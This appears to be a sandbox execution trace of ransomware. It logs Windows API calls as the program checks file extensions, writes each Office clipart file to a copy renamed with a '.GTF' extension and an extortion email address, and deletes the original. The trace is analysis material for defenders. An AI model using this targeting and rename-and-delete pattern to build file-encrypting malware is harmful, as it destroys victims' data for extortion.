	[0157.708] lstrlenW (lpString=".zip") returned 4
	[0157.708] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.708] lstrlenW (lpString=".rar") returned 4
	[0157.708] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.708] lstrlenW (lpString=".bz2") returned 4
	[0157.708] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.708] lstrlenW (lpString=".7z") returned 3
	[0157.708] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.708] lstrlenW (lpString=".dbf") returned 4
	[0157.708] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.708] lstrlenW (lpString=".1cd") returned 4
	[0157.708] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.708] lstrlenW (lpString=".jpg") returned 4
	[0157.708] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.708] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.708] lstrlenW (lpString="J0099170.WMF") returned 12
	[0157.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.711] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24292) returned 1
	[0157.711] CloseHandle (hObject=0x4bc) returned 1
	[0157.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0157.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.711] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.712] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.712] GetLastError () returned 0x0
	[0157.712] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0157.714] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0157.716] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.716] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.716] SetEndOfFile (hFile=0x488) returned 1
	[0157.716] CloseHandle (hObject=0x488) returned 1
	[0157.716] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.716] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.719] CloseHandle (hObject=0x4bc) returned 1
	[0157.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.720] lstrlenW (lpString=".doc") returned 4
	[0157.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.720] lstrlenW (lpString=".docx") returned 5
	[0157.720] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0157.720] lstrlenW (lpString=".pdf") returned 4
	[0157.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.720] lstrlenW (lpString=".xls") returned 4
	[0157.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.720] lstrlenW (lpString=".xlsx") returned 5
	[0157.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0157.720] lstrlenW (lpString=".ppt") returned 4
	[0157.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.720] lstrlenW (lpString=".zip") returned 4
	[0157.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.720] lstrlenW (lpString=".rar") returned 4
	[0157.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.720] lstrlenW (lpString=".bz2") returned 4
	[0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString=".7z") returned 3
	[0157.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString=".dbf") returned 4
	[0157.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString=".1cd") returned 4
	[0157.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString=".jpg") returned 4
	[0157.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString=".doc") returned 4
	[0157.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString=".docx") returned 5
	[0157.721] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0157.721] lstrlenW (lpString=".pdf") returned 4
	[0157.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString=".xls") returned 4
	[0157.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.721] lstrlenW (lpString=".xlsx") returned 5
	[0157.721] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0157.721] lstrlenW (lpString=".ppt") returned 4
	[0157.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.721] lstrlenW (lpString=".zip") returned 4
	[0157.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.721] lstrlenW (lpString=".rar") returned 4
	[0157.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString=".bz2") returned 4
	[0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.721] lstrlenW (lpString=".7z") returned 3
	[0157.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.722] lstrlenW (lpString=".dbf") returned 4
	[0157.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.722] lstrlenW (lpString=".1cd") returned 4
	[0157.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.722] lstrlenW (lpString=".jpg") returned 4
	[0157.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.722] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.722] lstrlenW (lpString="J0099171.WMF") returned 12
	[0157.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.722] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8754) returned 1
	[0157.722] CloseHandle (hObject=0x4bc) returned 1
	[0157.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0157.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.723] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.723] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.724] GetLastError () returned 0x0
	[0157.724] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2232, lpOverlapped=0x0) returned 1
	[0157.726] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2240, lpOverlapped=0x0) returned 1
	[0157.727] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.727] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.727] SetEndOfFile (hFile=0x488) returned 1
	[0157.727] CloseHandle (hObject=0x488) returned 1
	[0157.727] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.727] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.730] CloseHandle (hObject=0x4bc) returned 1
	[0157.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0157.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.731] lstrlenW (lpString=".doc") returned 4
	[0157.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.731] lstrlenW (lpString=".docx") returned 5
	[0157.731] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0157.731] lstrlenW (lpString=".pdf") returned 4
	[0157.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.731] lstrlenW (lpString=".xls") returned 4
	[0157.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.731] lstrlenW (lpString=".xlsx") returned 5
	[0157.731] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0157.731] lstrlenW (lpString=".ppt") returned 4
	[0157.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.731] lstrlenW (lpString=".zip") returned 4
	[0157.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.731] lstrlenW (lpString=".rar") returned 4
	[0157.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.731] lstrlenW (lpString=".bz2") returned 4
	[0157.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.731] lstrlenW (lpString=".7z") returned 3
	[0157.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.731] lstrlenW (lpString=".dbf") returned 4
	[0157.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".1cd") returned 4
	[0157.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".jpg") returned 4
	[0157.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".doc") returned 4
	[0157.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString=".docx") returned 5
	[0157.732] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0157.732] lstrlenW (lpString=".pdf") returned 4
	[0157.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString=".xls") returned 4
	[0157.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.732] lstrlenW (lpString=".xlsx") returned 5
	[0157.732] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0157.732] lstrlenW (lpString=".ppt") returned 4
	[0157.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".zip") returned 4
	[0157.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.732] lstrlenW (lpString=".rar") returned 4
	[0157.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString=".bz2") returned 4
	[0157.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString=".7z") returned 3
	[0157.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".dbf") returned 4
	[0157.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.732] lstrlenW (lpString=".1cd") returned 4
	[0157.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0157.733] lstrlenW (lpString=".jpg") returned 4
	[0157.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.733] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.733] lstrlenW (lpString="J0099172.WMF") returned 12
	[0157.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.733] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=58258) returned 1
	[0157.733] CloseHandle (hObject=0x4bc) returned 1
	[0157.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
	[0157.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.734] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.734] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.734] GetLastError () returned 0x0
	[0157.734] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xe392, lpOverlapped=0x0) returned 1
	[0157.900] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0157.902] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.902] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.902] SetEndOfFile (hFile=0x488) returned 1
	[0157.951] CloseHandle (hObject=0x488) returned 1
	[0157.954] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.955] SetEndOfFile (hFile=0x4bc) returned 1
	[0158.140] CloseHandle (hObject=0x4bc) returned 1
	[0158.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0158.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.152] lstrlenW (lpString=".doc") returned 4
	[0158.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.152] lstrlenW (lpString=".docx") returned 5
	[0158.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0158.152] lstrlenW (lpString=".pdf") returned 4
	[0158.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.152] lstrlenW (lpString=".xls") returned 4
	[0158.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.153] lstrlenW (lpString=".xlsx") returned 5
	[0158.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0158.153] lstrlenW (lpString=".ppt") returned 4
	[0158.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString=".zip") returned 4
	[0158.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.153] lstrlenW (lpString=".rar") returned 4
	[0158.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString=".bz2") returned 4
	[0158.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString=".7z") returned 3
	[0158.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString=".dbf") returned 4
	[0158.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString=".1cd") returned 4
	[0158.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString=".jpg") returned 4
	[0158.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.153] lstrlenW (lpString=".doc") returned 4
	[0158.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString=".docx") returned 5
	[0158.153] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0158.153] lstrlenW (lpString=".pdf") returned 4
	[0158.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.153] lstrlenW (lpString=".xls") returned 4
	[0158.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.153] lstrlenW (lpString=".xlsx") returned 5
	[0158.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0158.153] lstrlenW (lpString=".ppt") returned 4
	[0158.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
